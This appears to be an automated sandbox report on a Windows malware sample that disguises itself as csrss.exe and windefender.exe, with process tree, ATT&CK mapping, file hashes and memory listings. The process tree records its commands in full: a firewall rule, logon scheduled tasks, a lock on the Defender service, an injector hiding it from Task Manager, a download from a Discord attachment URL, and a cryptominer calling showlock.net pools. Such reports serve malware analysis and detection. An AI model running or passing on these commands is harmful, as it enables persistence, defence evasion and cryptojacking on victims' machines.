4072 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 4072 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 4072 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 5016 3708 csrss.exe injector.exe PID 3708 wrote to memory of 5016 3708 csrss.exe injector.exe PID 4412 wrote to memory of 2112 4412 windefender.exe cmd.exe PID 4412 wrote to memory of 2112 4412 windefender.exe cmd.exe PID 4412 wrote to memory of 2112 4412 windefender.exe cmd.exe PID 2112 wrote to memory of 2148 2112 cmd.exe sc.exe PID 2112 wrote to memory of 2148 2112 cmd.exe sc.exe PID 2112 wrote to memory of 2148 2112 cmd.exe sc.exe PID 3708 wrote to memory of 4856 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 4856 3708 csrss.exe powershell.exe PID 3708 wrote to memory of 4856 3708 csrss.exe powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"C:\Users\Admin\AppData\Local\Temp\c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198.exe"2⤵
- Windows security bypass
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile3⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe3⤵
- Executes dropped EXE
- Adds Run key to start application
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeC:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:804⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeC:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exe -o showlock.net:40001 --rig-id 378d63aa-886a-4429-bd2f-94bcd420885a --tls --nicehash -o showlock.net:443 --rig-id 378d63aa-886a-4429-bd2f-94bcd420885a --tls --nicehash -o showlock.net:80 --rig-id 378d63aa-886a-4429-bd2f-94bcd420885a --nicehash --http-port 3433 --http-access-token 378d63aa-886a-4429-bd2f-94bcd420885a --randomx-wrmsr=-15⤵
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe -hide 47845⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -nologo -noprofile4⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
1Windows Service
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xgzssya4.5jf.ps1Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
-
C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exeFilesize
2.0MB
MD5dcb505dc2b9d8aac05f4ca0727f5eadb
SHA14f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA25661f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
SHA51231e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeFilesize
281KB
MD5d98e33b66343e7c96158444127a117f6
SHA1bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA2565de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
SHA512705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
-
C:\Users\Admin\AppData\Local\Temp\csrss\wup\xarch\wup.exeFilesize
5.2MB
MD54f649a57b7ddf3874c9a2163a73e9b07
SHA19c966520ba8233f13f168cade548baf5a30823ba
SHA256830afffc7dd32e007736f0d97e8d02f68f80988266e68e3de3250aa189ac8491
SHA512b2374bac551b0d4e87f38eb0090a9df0705a8600667fecba6a94e5c67ff93fc8b4707a905ce0e5ef0909e91b04dc01d74c21887a5b5958b8b2fd01faed253aac
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.logFilesize
2KB
MD51c19c16e21c97ed42d5beabc93391fc5
SHA18ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA2561bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
SHA5127d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD541c2bf0d4e8f575fca00a5ce2ebab486
SHA1d1db40a72761168a98f7ac8a93eb62937463a6b4
SHA256471e487d66ee1edd74ba7d2b7be91beedf116868847bf1a5d84d0d071cd28e6a
SHA512f43fc8468efce6985ddf0e24c25e58001af5559481999356861f99f001e6a1feee5d02c3ba53c6626ee8a7e0d181c682410bc8ec58b3a915be42ee44e0f9db59
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD57e9c383e48d05bbbd1d899adc1ebaee6
SHA1cbcee700b13910debe617a0e3f566aad524c5da5
SHA256405ce2ee30fbd0dba9a14b97e160359669869afc566149d3dba1b88d2f216b33
SHA512e1b4f050c0e80bfd243e9738e92685cc87d87d6efb87cb72b340f6b9da25bc386685d189eeed53620e2beb80949afc50ca6560ded2b00fec14dc40476d79e5af
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5b00ba12a0d5091f473dd940df59509b5
SHA1caf5f6bac80a292e5dffc0977f302fb0e704b29e
SHA25683da9303f558b4448b4c69279694173930cbcb8ec9e0aa24f2978a21001dd282
SHA512f2917ded6a60b9d6f0c907071e5618e01dd83201d04a7c25c6ff81fae412ceee952040c0b6a591b946325523e9f0cfda80d1d628074b04725e26b71a281ce63a
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD5801d2b8dce6520503ab62ab06bf0a00f
SHA1d516f6f65af70fe074176594c6eb1b15d5864e17
SHA25687288e56d3ad26afd3a95bbe1a2652c7859f4e775deee528b49402d5bfd4e8a0
SHA5128708224d1dac7c4521c7f0880e89498c6771dd63eff6903e0ec098bb2045e30bbf02090e97c65eb746d26d979a5d7d08beca9711b84b7975a2b2570facdaa820
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD51a5e55714334aaaedf64b6f57f8252b4
SHA1b370cc351444a299a130ed9264e7a3504da669a9
SHA25651d9f2e331b72c6a387c301b98c6dec07b62ca86174199d290b7d1c91bc5b1b6
SHA5125b37f29e4e9ecf95221303054fa0f247725c26d31860d7e70a5d6ffd8d36b5ee8db5aad64471abdb3a3d26e989f5300ad0ae6a3fb0368c66e5067aebfe581aa1
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD559c9f8e0178f56457d02946a40f643ae
SHA17a0067db1b6a7ec187d407f7edf613c784404246
SHA2563fa8ee86d7b0fbc24aa29dc82fefa58a0b7c51671270cde5c5734ea9f214706d
SHA5120201ecddbc539d0ba5305fddb01dda937416d316e7821c09be2618a014930e0fdd2cf7198c6eccb6d2c9327d47e9bf48fd17c9107e60af3baf5e1ca15e31e460
-
C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-InteractiveFilesize
18KB
MD573cdb856878f3d111b416dea6c3f1c8b
SHA18fcea198dda982e7c66013689faa235a6f5662d6
SHA256e333f10936e9a2c043677fdacd626c32051e7b0730814c99c4f9c64b0264cfbd
SHA512e5926ae04eb180e28f97c411357ef700c4e9795abeeae6b70a5a8b02b6552e75c73e9dfe4cec4e86bf0d6a761a337ee7e40e53efd3e162e6c8e7ba31c24161ec
-
C:\Windows\rss\csrss.exeFilesize
4.2MB
MD508b4b79e38098f63c2f042fd14b050ce
SHA1b10793e6fd33bac98c854144375747006ffff1d0
SHA256c7752a20e52025e9ea49b4ce63f8a85bdc605a928692e635258abefb71ff7198
SHA5126b806ccafdadc0dc7d33e765d111e5fc6a6db496694dd3eb4d6ae980dbc8a35353629d74ff0d5270e46697a6fbf595d2cde724b0b738f23faa1b9b019437b0d6
-
C:\Windows\windefender.exeFilesize
2.0MB
MD58e67f58837092385dcf01e8a2b4f5783
SHA1012c49cfd8c5d06795a6f67ea2baf2a082cf8625
SHA256166ddb03ff3c89bd4525ac390067e180fdd08f10fbcf4aadb0189541673c03fa
SHA51240d8ae12663fc1851e171d9d86cea8bb12487b734c218d7b6f9742eb07d4ca265065cbd6d0bb908f8bda7e3d955c458dfe3fd13265bbf573b9351e0a2bf691ec
-
memory/972-584-0x0000000004CC0000-0x00000000050C1000-memory.dmpFilesize
4.0MB
-
memory/972-1046-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/972-576-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/972-304-0x0000000004CC0000-0x00000000050C1000-memory.dmpFilesize
4.0MB
-
memory/972-308-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/972-305-0x00000000050D0000-0x00000000059BB000-memory.dmpFilesize
8.9MB
-
memory/1016-578-0x0000000070770000-0x0000000070AC0000-memory.dmpFilesize
3.3MB
-
memory/1016-579-0x000000007F740000-0x000000007F750000-memory.dmpFilesize
64KB
-
memory/1016-555-0x0000000004A70000-0x0000000004A80000-memory.dmpFilesize
64KB
-
memory/1016-556-0x0000000004A70000-0x0000000004A80000-memory.dmpFilesize
64KB
-
memory/1016-554-0x00000000739F0000-0x00000000740DE000-memory.dmpFilesize
6.9MB
-
memory/1016-577-0x0000000070720000-0x000000007076B000-memory.dmpFilesize
300KB
-
memory/1016-588-0x0000000004A70000-0x0000000004A80000-memory.dmpFilesize
64KB
-
memory/1016-798-0x00000000739F0000-0x00000000740DE000-memory.dmpFilesize
6.9MB
-
memory/2436-334-0x0000000070770000-0x0000000070AC0000-memory.dmpFilesize
3.3MB
-
memory/2436-339-0x00000000092C0000-0x0000000009365000-memory.dmpFilesize
660KB
-
memory/2436-340-0x0000000006AC0000-0x0000000006AD0000-memory.dmpFilesize
64KB
-
memory/2436-550-0x00000000739F0000-0x00000000740DE000-memory.dmpFilesize
6.9MB
-
memory/2436-333-0x0000000070720000-0x000000007076B000-memory.dmpFilesize
300KB
-
memory/2436-309-0x00000000739F0000-0x00000000740DE000-memory.dmpFilesize
6.9MB
-
memory/2436-310-0x0000000006AC0000-0x0000000006AD0000-memory.dmpFilesize
64KB
-
memory/2436-311-0x0000000006AC0000-0x0000000006AD0000-memory.dmpFilesize
64KB
-
memory/2436-312-0x0000000007980000-0x0000000007CD0000-memory.dmpFilesize
3.3MB
-
memory/2436-313-0x0000000007D60000-0x0000000007DAB000-memory.dmpFilesize
300KB
-
memory/2436-332-0x000000007EE10000-0x000000007EE20000-memory.dmpFilesize
64KB
-
memory/3404-73-0x000000007ED00000-0x000000007ED10000-memory.dmpFilesize
64KB
-
memory/3404-13-0x0000000007BB0000-0x0000000007C16000-memory.dmpFilesize
408KB
-
memory/3404-300-0x00000000738F0000-0x0000000073FDE000-memory.dmpFilesize
6.9MB
-
memory/3404-282-0x000000000A9F0000-0x000000000A9F8000-memory.dmpFilesize
32KB
-
memory/3404-277-0x000000000AA00000-0x000000000AA1A000-memory.dmpFilesize
104KB
-
memory/3404-7-0x00000000738F0000-0x0000000073FDE000-memory.dmpFilesize
6.9MB
-
memory/3404-74-0x000000000A840000-0x000000000A873000-memory.dmpFilesize
204KB
-
memory/3404-84-0x000000000AA60000-0x000000000AAF4000-memory.dmpFilesize
592KB
-
memory/3404-8-0x0000000005670000-0x0000000005680000-memory.dmpFilesize
64KB
-
memory/3404-9-0x0000000005670000-0x0000000005680000-memory.dmpFilesize
64KB
-
memory/3404-6-0x00000000053D0000-0x0000000005406000-memory.dmpFilesize
216KB
-
memory/3404-83-0x0000000005670000-0x0000000005680000-memory.dmpFilesize
64KB
-
memory/3404-75-0x0000000070600000-0x000000007064B000-memory.dmpFilesize
300KB
-
memory/3404-76-0x0000000070650000-0x00000000709A0000-memory.dmpFilesize
3.3MB
-
memory/3404-77-0x000000000A820000-0x000000000A83E000-memory.dmpFilesize
120KB
-
memory/3404-82-0x000000000A880000-0x000000000A925000-memory.dmpFilesize
660KB
-
memory/3404-66-0x0000000009A50000-0x0000000009AC6000-memory.dmpFilesize
472KB
-
memory/3404-35-0x0000000008CE0000-0x0000000008D1C000-memory.dmpFilesize
240KB
-
memory/3404-16-0x0000000008E40000-0x0000000008E8B000-memory.dmpFilesize
300KB
-
memory/3404-15-0x00000000088A0000-0x00000000088BC000-memory.dmpFilesize
112KB
-
memory/3404-14-0x00000000084D0000-0x0000000008820000-memory.dmpFilesize
3.3MB
-
memory/3404-10-0x0000000007CE0000-0x0000000008308000-memory.dmpFilesize
6.2MB
-
memory/3404-11-0x0000000007B10000-0x0000000007B32000-memory.dmpFilesize
136KB
-
memory/3404-12-0x0000000008410000-0x0000000008476000-memory.dmpFilesize
408KB
-
memory/3708-1800-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1795-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1836-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1049-0x0000000005200000-0x00000000055F9000-memory.dmpFilesize
4.0MB
-
memory/3708-1830-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1828-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1838-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1826-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1840-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1052-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1842-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1824-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1562-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1832-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1822-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1789-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1820-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1834-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1798-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-2090-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1818-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1802-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1804-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1806-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1808-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1810-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1812-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1814-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/3708-1816-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/4100-2138-0x0000000000400000-0x00000000008E1000-memory.dmpFilesize
4.9MB
-
memory/4268-1801-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/4412-1794-0x0000000000400000-0x00000000008DF000-memory.dmpFilesize
4.9MB
-
memory/4496-1053-0x0000000001150000-0x0000000001160000-memory.dmpFilesize
64KB
-
memory/4496-1056-0x0000000007810000-0x0000000007B60000-memory.dmpFilesize
3.3MB
-
memory/4496-1055-0x0000000073950000-0x000000007403E000-memory.dmpFilesize
6.9MB
-
memory/4496-1054-0x0000000001150000-0x0000000001160000-memory.dmpFilesize
64KB
-
memory/4604-801-0x00000000739F0000-0x00000000740DE000-memory.dmpFilesize
6.9MB
-
memory/4604-1042-0x00000000739F0000-0x00000000740DE000-memory.dmpFilesize
6.9MB
-
memory/4604-829-0x0000000007430000-0x0000000007440000-memory.dmpFilesize
64KB
-
memory/4604-824-0x0000000070770000-0x0000000070AC0000-memory.dmpFilesize
3.3MB
-
memory/4604-823-0x0000000070720000-0x000000007076B000-memory.dmpFilesize
300KB
-
memory/4604-803-0x0000000007430000-0x0000000007440000-memory.dmpFilesize
64KB
-
memory/4604-802-0x0000000007430000-0x0000000007440000-memory.dmpFilesize
64KB
-
memory/4784-2137-0x000001F76F4E0000-0x000001F76F500000-memory.dmpFilesize
128KB
-
memory/5064-1-0x0000000004D30000-0x0000000005137000-memory.dmpFilesize
4.0MB
-
memory/5064-303-0x0000000005140000-0x0000000005A2B000-memory.dmpFilesize
8.9MB
-
memory/5064-301-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/5064-3-0x0000000000400000-0x0000000003017000-memory.dmpFilesize
44.1MB
-
memory/5064-2-0x0000000005140000-0x0000000005A2B000-memory.dmpFilesize
8.9MB